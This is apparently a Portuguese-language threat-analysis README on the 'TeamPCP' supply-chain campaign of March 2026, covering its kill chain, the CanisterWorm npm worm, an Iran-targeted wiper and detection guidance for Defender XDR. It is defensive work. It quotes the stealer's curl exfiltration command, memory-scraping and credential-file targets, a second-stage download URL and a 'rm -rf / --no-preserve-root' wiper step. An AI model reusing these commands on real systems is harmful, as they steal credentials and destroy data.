Ataque à Cadeia de Suprimentos TeamPCP: Guia de Análise Técnica e Detecção

CVE-2026-33634 (CVSS 9.4) — O ataque à cadeia de suprimentos de CI/CD mais impactante de 2026 até agora.

Entre 19 e 25 de março de 2026, o ator de ameaças TeamPCP (também rastreado como DeadCatx3, PCPcat, ShellForce, CanisterWorm) executou um comprometimento em cascata da cadeia de suprimentos em cinco ecossistemas: GitHub Actions, Docker Hub, OpenVSX, npm e PyPI. Partindo de um único PAT do GitHub com rotação incompleta, a campanha se espalhou por dois grandes fornecedores de segurança de código aberto (Aqua Security e Checkmarx), quatro repositórios de GitHub Actions, duas extensões do VS Code, registros de contêineres e mais de 66 pacotes npm.

Este repositório fornece uma análise técnica completa, listas de IOC curadas (testadas contra falsos positivos) e consultas de detecção prontas para implantação no Microsoft Defender XDR.

Sumário

• Linha do Tempo do Ataque
• Detalhamento da Kill Chain
• Artefatos Comprometidos
• Mecânica do Stealer de Credenciais
• CanisterWorm — Propagação via npm
• Componente Wiper Direcionado ao Irã
• Detecção e Hunting
• Lista de IOCs
• Notas de Filtragem de Falsos Positivos
• Mapeamento MITRE ATT&CK
• Referências

Linha do Tempo do Ataque

Detalhamento da Kill Chain

Fase 1 — Acesso Inicial

Causa raiz: rotação incompleta de credenciais após a violação de 28 de fevereiro. O PAT da conta de serviço aqua-bot não foi revogado ou o atacante observou o novo token durante a rotação.

O TeamPCP usou esse acesso retido para fazer force-push de tags de versão apontando para commits impostores maliciosos. Cada commit forjado clonava os metadados do original (autor, timestamp, mensagem) enquanto substituía o script de ponto de entrada pelo payload do stealer. A página de release do GitHub não mostrava nenhuma mudança visível — até o selo "Immutable" era exibido normalmente.

Fase 2 — Execução do Payload

O stealer — um entrypoint.sh de 204 linhas autoidentificado como "TeamPCP Cloud stealer" — executa um ataque em três estágios:

Estágio 1: Raspagem de Memória

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Estágio 2: Varredura de Credenciais no Sistema de Arquivos

Examina mais de 50 caminhos sensíveis, incluindo:

• Chaves SSH (~/.ssh/*)
• Credenciais AWS/GCP/Azure
• Tokens e configurações do Kubernetes
• Credenciais de registro Docker
• Arquivos de estado do Terraform
• Carteiras de criptomoedas (Solana, Bitcoin, Ethereum, Cardano)
• Tokens npm (~/.npmrc)
• Históricos de shell
• Arquivos .env

Estágio 3: Exfiltração Criptografada

• Empacota todos os dados coletados em tpcp.tar.gz
• Criptografa com AES-256-CBC (chave de sessão aleatória) + RSA-4096/RSA-OAEP (chave pública do atacante)
• Exfiltra via curl POST para domínios typosquat específicos do fornecedor
• Fallback: cria repositório tpcp-docs ou docs-tpcp na conta GitHub da vítima usando o GITHUB_TOKEN roubado

Fase 3 — Persistência

Em sistemas Linux fora de CI, o malware:

1. Cria o diretório oculto ~/.config/sysmon/
2. Instala um backdoor em Python (sysmon.py)
3. Instala um serviço de usuário do systemd que consulta o C2 a cada 50 minutos
4. Kill switch: se a resposta do C2 contiver "youtube", o backdoor pula a execução

Fase 4 — Movimentação Lateral (Onda Checkmarx)

As credenciais roubadas na onda Trivy viabilizaram o comprometimento do ecossistema da Checkmarx. Cada nova onda usou um domínio typosquat diferente de C2 para evadir as blocklists da onda anterior:

Artefatos Comprometidos

GitHub Actions

Extensões OpenVSX (VS Code Marketplace NÃO afetado)

Ambas as extensões foram publicadas com 12 segundos de diferença às 12:53 UTC de 23 de março por meio da conta ast-phoenix. Na ativação, environmentAuthChecker.js verifica credenciais de provedores de nuvem e então baixa um stealer de segundo estágio de checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Imagens de Contêiner

PyPI

Payload base64 triplamente aninhado com kit de movimentação lateral para K8s. Persistência via sysmon.service consultando checkmarx.zone/raw.

Mecânica do Stealer de Credenciais

O padrão de exfiltração é idêntico em todas as ondas:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

A estratégia de domínio typosquat é deliberada: um analista revisando logs de CI/CD vê tráfego curl para o que parece ser o domínio do próprio fornecedor da action. Sem uma comparação cuidadosa, scan.aquasecurtiy.org passa por aquasecurity.org em uma revisão rápida de logs.

Somente o atacante pode descriptografar os dados roubados — a chave de sessão AES é criptografada com RSA-OAEP usando a chave pública dele.

CanisterWorm — Propagação via npm

Dentro de 24 horas após o comprometimento do Trivy, tokens npm roubados viabilizaram um worm autopropagável por mais de 66 pacotes (141 artefatos maliciosos).

O que torna o CanisterWorm notável:

• Primeiro malware npm documentado a usar um canister de blockchain ICP (Internet Computer Protocol) como C2
• O canister em tdtqy-oyaaa-aaaae-af2dq-cai é um contrato inteligente descentralizado — sem um único ponto de derrubada
• Expõe 3 métodos: get_latest_link, http_request, update_link
• O atacante pode rotacionar payloads em todas as máquinas infectadas sem republicar nenhum pacote npm
• Kill switch: se o canister retornar uma URL contendo youtube.com, o backdoor dorme
• Persistência: serviço de usuário do systemd disfarçado de pgmon (monitoramento do PostgreSQL)
• Intervalo de polling: a cada 50 minutos
• Binário gravado em /tmp/pglog, estado rastreado em /tmp/.pg_state

Escopos comprometidos conhecidos: @emilgroup/*, @teale.io/* (variante autopropagável em @teale.io/eslint-config v1.8.11, v1.8.12)

Componente Wiper Direcionado ao Irã

Uma variante destrutiva tem como alvo específico sistemas iranianos:

1. Kubernetes + Irã: implanta DaemonSets privilegiados em todos os nós (incluindo o control plane), apaga e força a reinicialização por meio de um contêiner chamado kamikaze
2. Kubernetes + não-Irã: instala o backdoor CanisterWorm como serviço do systemd
3. Sem K8s + Irã: executa rm -rf / --no-preserve-root com sudo
4. Sem K8s + não-Irã: nenhuma ação

A detecção é feita por meio de verificações de fuso horário e locale do sistema.

Detecção e Hunting

Microsoft Defender XDR — Regra de Detecção Personalizada

Nome da regra: TeamPCP Supply Chain C2 and Malware IOC Match
Severidade: Alta
Categoria: CommandAndControl
Frequência: A cada 1 hora

Consulte detection/defender_xdr_query.kql para ver a consulta KQL completa.

A consulta cobre:

• 7 hashes SHA256 de arquivos (variantes do stealer e do CanisterWorm)
• 2 endereços IP de C2
• 4 domínios de C2 (typosquats + canister ICP)
• 4 URLs específicas de C2
• Verificações de resolução de DNS

Importação de Indicadores TI do Defender

Um CSV pronto para importação é fornecido em iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Este arquivo foi testado contra falsos positivos em um ambiente corporativo de produção.

Outras Plataformas

Lista de IOCs

Hashes de Arquivos (SHA256)

IOCs de Rede

Caminhos de URL de C2

Artefatos de Persistência

Repositórios de Exfiltração no GitHub (Fallback)

Notas de Filtragem de Falsos Positivos

As consultas de detecção e o CSV de IOCs neste repositório foram testados em um ambiente de produção que executa:

• Ansible AWX/Tower com as coleções community.general e kubernetes.core
• Claude Code e GitHub Copilot em estações de trabalho de desenvolvimento macOS
• Agente FortiMonitor (polling de IMDS)
• Oracle AHF em instâncias OCI (polling de IMDS)
• Diversos toolchains de desenvolvimento Python/Node.js

Os seguintes IOCs foram removidos devido a falsos positivos confirmados:

Mapeamento MITRE ATT&CK

Referências

Licença

MIT — Use, compartilhe e adapte livremente. Atribuição é apreciada.

Autor: Ugur Can Ates — Líder de Equipe de SOC e Engenheiro Sênior de Segurança
Última Atualização: 25 de março de 2026